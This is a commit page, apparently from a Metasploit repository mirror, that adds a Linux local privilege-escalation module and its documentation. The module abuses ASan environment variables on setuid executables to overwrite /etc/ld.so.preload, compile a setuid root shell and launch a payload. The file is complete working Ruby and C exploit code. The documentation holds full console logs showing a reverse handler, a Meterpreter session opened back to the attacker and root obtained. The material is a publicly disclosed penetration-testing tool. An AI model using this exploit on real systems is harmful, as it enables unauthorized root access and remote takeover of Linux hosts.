Land #11243, Add ASan SUID Privesc

GSoC/Meterpreter_Web_Console
Shelby Pace 2019-01-22 15:50:53 -06:00
commit 2ae6142de7
No known key found for this signature in database
GPG Key ID: B2F3A8B476406857
2 changed files with 458 additions and 0 deletions

View File

@ -0,0 +1,166 @@
## Description
This module attempts to gain root privileges on Linux systems using
setuid executables compiled with AddressSanitizer (ASan).
ASan configuration related environment variables are permitted when
executing setuid executables built with libasan. The `log_path` option
can be set using the `ASAN_OPTIONS` environment variable, allowing
clobbering of arbitrary files, with the privileges of the setuid user.
This module uploads a shared object and sprays symlinks to overwrite
`/etc/ld.so.preload` in order to create a setuid root shell.
## Vulnerable Application
[AddressSanitizer](https://clang.llvm.org/docs/AddressSanitizer.html) (ASan)
is a fast memory error detector. It consists of a compiler instrumentation
module and a run-time library.
An example executable can be compiled with ASan as follows:
```
gcc -s -lasan -fsanitize=address -o asan.elf helloworld.c
sudo mv asan.elf /usr/bin/asan.elf
sudo chown root:root /usr/bin/asan.elf
sudo chmod u+s /usr/bin/asan.elf
```
## Verification Steps
1. Start `msfconsole`
2. Get a session
3. `use use exploit/linux/local/asan_suid_executable_priv_esc`
4. `set SESSION [SESSION]`
5. `set SUID_EXECUTABLE /path/to/suid/compiled/with/asan`
6. `check`
7. `run`
8. You should get a new *root* session
## Options
**SESSION**
Which session to use, which can be viewed with `sessions`
**SUID_EXECUTABLE**
Path to a SUID executable compiled with ASan. (default: ``)
**SPRAY_SIZE**
Number of PID symlinks to create. (default: `50`)
**WritableDir**
A writable directory file system path. (default: `/tmp`)
## Scenarios
### Command Shell Session (Linux Mint 19)
```
msf5 > use exploit/linux/local/asan_suid_executable_priv_esc
msf5 exploit(linux/local/asan_suid_executable_priv_esc) > set suid_executable /usr/bin/a.out
suid_executable => /usr/bin/a.out
msf5 exploit(linux/local/asan_suid_executable_priv_esc) > set session 1
session => 1
msf5 exploit(linux/local/asan_suid_executable_priv_esc) > set verbose true
verbose => true
msf5 exploit(linux/local/asan_suid_executable_priv_esc) > run
[*] Started reverse TCP handler on 172.16.191.188:4444
[+] /usr/bin/a.out is setuid
[+] /usr/bin/a.out was compiled with ASan
[+] gcc is installed
[*] Writing '/tmp/.pCriI' (291 bytes) ...
[*] Max line length is 65537
[*] Writing 291 bytes in 1 chunks of 937 bytes (octal-encoded), using printf
[*] Writing '/tmp/.JtSfQ1.c' (142 bytes) ...
[*] Max line length is 65537
[*] Writing 142 bytes in 1 chunks of 513 bytes (octal-encoded), using printf
[*] Writing '/tmp/.TCLmzU.so.c' (323 bytes) ...
[*] Max line length is 65537
[*] Writing 323 bytes in 1 chunks of 1167 bytes (octal-encoded), using printf
[*] Writing '/tmp/.V7OEFt.c' (253 bytes) ...
[*] Max line length is 65537
[*] Writing 253 bytes in 1 chunks of 906 bytes (octal-encoded), using printf
[*] Writing '/tmp/.LpfTKJwR' (256 bytes) ...
[*] Max line length is 65537
[*] Writing 256 bytes in 1 chunks of 942 bytes (octal-encoded), using printf
[*] Launching exploit...
[+] Success! /tmp/.JtSfQ1 is set-uid root!
-rwsr-xr-x 1 root root 8384 Jan 12 19:30 /tmp/.JtSfQ1
[*] Executing payload...
[*] Transmitting intermediate stager...(106 bytes)
[*] Sending stage (914728 bytes) to 172.16.191.211
[*] Meterpreter session 2 opened (172.16.191.188:4444 -> 172.16.191.211:56074) at 2019-01-12 03:30:47 -0500
[+] Deleted /tmp/.JtSfQ1.c
[+] Deleted /tmp/.TCLmzU.so.c
[+] Deleted /tmp/.TCLmzU.so
[+] Deleted /tmp/.V7OEFt.c
[+] Deleted /tmp/.V7OEFt
[+] Deleted /tmp/.LpfTKJwR
meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0
meterpreter > sysinfo
Computer : 172.16.191.211
OS : LinuxMint 19 (Linux 4.15.0-20-generic)
Architecture : x64
BuildTuple : i486-linux-musl
Meterpreter : x86/linux
meterpreter >
```
### Meterpreter Session (Linux Mint 19)
```
msf5 > use exploit/linux/local/asan_suid_executable_priv_esc
msf5 exploit(linux/local/asan_suid_executable_priv_esc) > set session 1
session => 1
msf5 exploit(linux/local/asan_suid_executable_priv_esc) > set suid_executable /usr/bin/a.out
suid_executable => /usr/bin/a.out
msf5 exploit(linux/local/asan_suid_executable_priv_esc) > set verbose true
verbose => true
msf5 exploit(linux/local/asan_suid_executable_priv_esc) > run
[*] Started reverse TCP handler on 172.16.191.188:4444
[+] /usr/bin/a.out is setuid
[+] /usr/bin/a.out was compiled with ASan
[+] gcc is installed
[*] Writing '/tmp/.XBKiFa' (291 bytes) ...
[*] Writing '/tmp/.ooMwKnEXt.c' (142 bytes) ...
[*] Writing '/tmp/.cWZL3A.so.c' (329 bytes) ...
[*] Writing '/tmp/.78iKLJOvX.c' (254 bytes) ...
[*] Writing '/tmp/.WkXgm2agJ8' (261 bytes) ...
[*] Launching exploit...
[+] Success! /tmp/.ooMwKnEXt is set-uid root!
-rwsr-xr-x 1 root root 8384 Jan 12 19:42 /tmp/.ooMwKnEXt
[*] Executing payload...
[*] Transmitting intermediate stager...(106 bytes)
[*] Sending stage (914728 bytes) to 172.16.191.211
[*] Meterpreter session 2 opened (172.16.191.188:4444 -> 172.16.191.211:56080) at 2019-01-12 03:42:43 -0500
[+] Deleted /tmp/.XBKiFa
[+] Deleted /tmp/.ooMwKnEXt.c
[+] Deleted /tmp/.cWZL3A.so.c
[+] Deleted /tmp/.cWZL3A.so
[+] Deleted /tmp/.78iKLJOvX.c
[+] Deleted /tmp/.78iKLJOvX
[+] Deleted /tmp/.WkXgm2agJ8
meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0
meterpreter > sysinfo
Computer : 172.16.191.211
OS : LinuxMint 19 (Linux 4.15.0-20-generic)
Architecture : x64
BuildTuple : i486-linux-musl
Meterpreter : x86/linux
meterpreter >
```

View File

@ -0,0 +1,292 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Post::File
include Msf::Post::Linux::Priv
include Msf::Post::Linux::System
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'AddressSanitizer (ASan) SUID Executable Privilege Escalation',
'Description' => %q{
This module attempts to gain root privileges on Linux systems using
setuid executables compiled with AddressSanitizer (ASan).
ASan configuration related environment variables are permitted when
executing setuid executables built with libasan. The `log_path` option
can be set using the `ASAN_OPTIONS` environment variable, allowing
clobbering of arbitrary files, with the privileges of the setuid user.
This module uploads a shared object and sprays symlinks to overwrite
`/etc/ld.so.preload` in order to create a setuid root shell.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Szabolcs Nagy', # Discovery and PoC
'infodox', # unsanitary.sh Exploit
'bcoles' # Metasploit
],
'DisclosureDate' => '2016-02-17',
'Platform' => 'linux',
'Arch' =>
[
ARCH_X86,
ARCH_X64,
ARCH_ARMLE,
ARCH_AARCH64,
ARCH_PPC,
ARCH_MIPSLE,
ARCH_MIPSBE
],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Targets' => [['Auto', {}]],
'DefaultOptions' =>
{
'AppendExit' => true,
'PrependSetresuid' => true,
'PrependSetresgid' => true,
'PrependFork' => true
},
'References' =>
[
['URL', 'https://seclists.org/oss-sec/2016/q1/363'],
['URL', 'https://seclists.org/oss-sec/2016/q1/379'],
['URL', 'https://gist.github.com/0x27/9ff2c8fb445b6ab9c94e'],
['URL', 'https://github.com/bcoles/local-exploits/tree/master/asan-suid-root']
],
'Notes' =>
{
'AKA' => ['unsanitary.sh']
},
'DefaultTarget' => 0))
register_options [
OptString.new('SUID_EXECUTABLE', [true, 'Path to a SUID executable compiled with ASan', '']),
OptInt.new('SPRAY_SIZE', [true, 'Number of PID symlinks to create', 50])
]
register_advanced_options [
OptBool.new('ForceExploit', [false, 'Override check result', false]),
OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
]
end
def base_dir
datastore['WritableDir']
end
def suid_exe_path
datastore['SUID_EXECUTABLE']
end
def upload(path, data)
print_status "Writing '#{path}' (#{data.size} bytes) ..."
rm_f path
write_file path, data
register_file_for_cleanup path
end
def upload_and_chmodx(path, data)
upload path, data
chmod path
end
def upload_and_compile(path, data, gcc_args='')
upload "#{path}.c", data
gcc_cmd = "gcc -o #{path} #{path}.c"
if session.type.eql? 'shell'
gcc_cmd = "PATH=$PATH:/usr/bin/ #{gcc_cmd}"
end
unless gcc_args.to_s.blank?
gcc_cmd << " #{gcc_args}"
end
output = cmd_exec gcc_cmd
unless output.blank?
print_error 'Compiling failed:'
print_line output
end
register_file_for_cleanup path
chmod path
end
def check
unless setuid? suid_exe_path
vprint_error "#{suid_exe_path} is not setuid"
return CheckCode::Safe
end
vprint_good "#{suid_exe_path} is setuid"
# Check if the executable was compiled with ASan
#
# If the setuid executable is readable, and `ldd` is installed and in $PATH,
# we can detect ASan via linked libraries. (`objdump` could also be used).
#
# Otherwise, we can try to detect ASan via the help output with the `help=1` option.
# This approach works regardless of whether the setuid executable is readable,
# with the obvious disadvantage that it requires invoking the executable.
if cmd_exec("test -r #{suid_exe_path} && echo true").to_s.include?('true') && command_exists?('ldd')
unless cmd_exec("ldd #{suid_exe_path}").to_s.include? 'libasan.so'
vprint_error "#{suid_exe_path} was not compiled with ASan"
return CheckCode::Safe
end
else
unless cmd_exec("ASAN_OPTIONS=help=1 #{suid_exe_path}").include? 'AddressSanitizer'
vprint_error "#{suid_exe_path} was not compiled with ASan"
return CheckCode::Safe
end
end
vprint_good "#{suid_exe_path} was compiled with ASan"
unless has_gcc?
print_error 'gcc is not installed. Compiling will fail.'
return CheckCode::Safe
end
vprint_good 'gcc is installed'
CheckCode::Appears
end
def exploit
unless check == CheckCode::Appears
unless datastore['ForceExploit']
fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
end
print_warning 'Target does not appear to be vulnerable'
end
if is_root?
unless datastore['ForceExploit']
fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'
end
end
unless writable? base_dir
fail_with Failure::BadConfig, "#{base_dir} is not writable"
end
unless writable? pwd.to_s.strip
fail_with Failure::BadConfig, "#{pwd.to_s.strip} working directory is not writable"
end
if nosuid? base_dir
fail_with Failure::BadConfig, "#{base_dir} is mounted nosuid"
end
@log_prefix = ".#{rand_text_alphanumeric 5..10}"
payload_name = ".#{rand_text_alphanumeric 5..10}"
payload_path = "#{base_dir}/#{payload_name}"
upload_and_chmodx payload_path, generate_payload_exe
rootshell_name = ".#{rand_text_alphanumeric 5..10}"
@rootshell_path = "#{base_dir}/#{rootshell_name}"
rootshell = <<-EOF
#include <stdio.h>
#include <sys/stat.h>
#include <unistd.h>
int main(void)
{
setuid(0);
setgid(0);
execl("/bin/bash", "bash", NULL);
}
EOF
upload_and_compile @rootshell_path, rootshell, '-Wall'
lib_name = ".#{rand_text_alphanumeric 5..10}"
lib_path = "#{base_dir}/#{lib_name}.so"
lib = <<-EOF
#include <stdlib.h>
#include <stdio.h>
#include <sys/stat.h>
#include <unistd.h>
void init(void) __attribute__((constructor));
void __attribute__((constructor)) init() {
if (setuid(0) || setgid(0))
_exit(1);
unlink("/etc/ld.so.preload");
chown("#{@rootshell_path}", 0, 0);
chmod("#{@rootshell_path}", 04755);
_exit(0);
}
EOF
upload_and_compile lib_path, lib, '-fPIC -shared -ldl -Wall'
spray_name = ".#{rand_text_alphanumeric 5..10}"
spray_path = "#{base_dir}/#{spray_name}"
spray = <<-EOF
#include <stdio.h>
#include <sys/stat.h>
#include <unistd.h>
int main(void)
{
pid_t pid = getpid();
char buf[64];
for (int i=0; i<=#{datastore['SPRAY_SIZE']}; i++) {
snprintf(buf, sizeof(buf), "#{@log_prefix}.%ld", (long)pid+i);
symlink("/etc/ld.so.preload", buf);
}
}
EOF
upload_and_compile spray_path, spray, '-Wall'
exp_name = ".#{rand_text_alphanumeric 5..10}"
exp_path = "#{base_dir}/#{exp_name}"
exp = <<-EOF
#!/bin/sh
#{spray_path}
ASAN_OPTIONS="disable_coredump=1 suppressions='/#{@log_prefix}
#{lib_path}
' log_path=./#{@log_prefix} verbosity=0" "#{suid_exe_path}" >/dev/null 2>&1
ASAN_OPTIONS='disable_coredump=1 abort_on_error=1 verbosity=0' "#{suid_exe_path}" >/dev/null 2>&1
EOF
upload_and_chmodx exp_path, exp
print_status 'Launching exploit...'
output = cmd_exec exp_path
output.each_line { |line| vprint_status line.chomp }
unless setuid? @rootshell_path
fail_with Failure::Unknown, "Failed to set-uid root #{@rootshell_path}"
end
print_good "Success! #{@rootshell_path} is set-uid root!"
vprint_line cmd_exec "ls -la #{@rootshell_path}"
print_status 'Executing payload...'
cmd_exec "echo #{payload_path} | #{@rootshell_path} & echo "
end
def cleanup
# Safety check to ensure we don't delete everything in the working directory
if @log_prefix.to_s.strip.eql? ''
vprint_warning "#{datastore['SPRAY_SIZE']} symlinks may require manual cleanup in: #{pwd}"
else
cmd_exec "rm #{pwd}/#{@log_prefix}*"
end
ensure
super
end
def on_new_session(session)
# Remove rootshell executable
if session.type.eql? 'meterpreter'
session.core.use 'stdapi' unless session.ext.aliases.include? 'stdapi'
session.fs.file.rm @rootshell_path
else
session.shell_command_token "rm -f '#{@rootshell_path}'"
end
ensure
super
end
end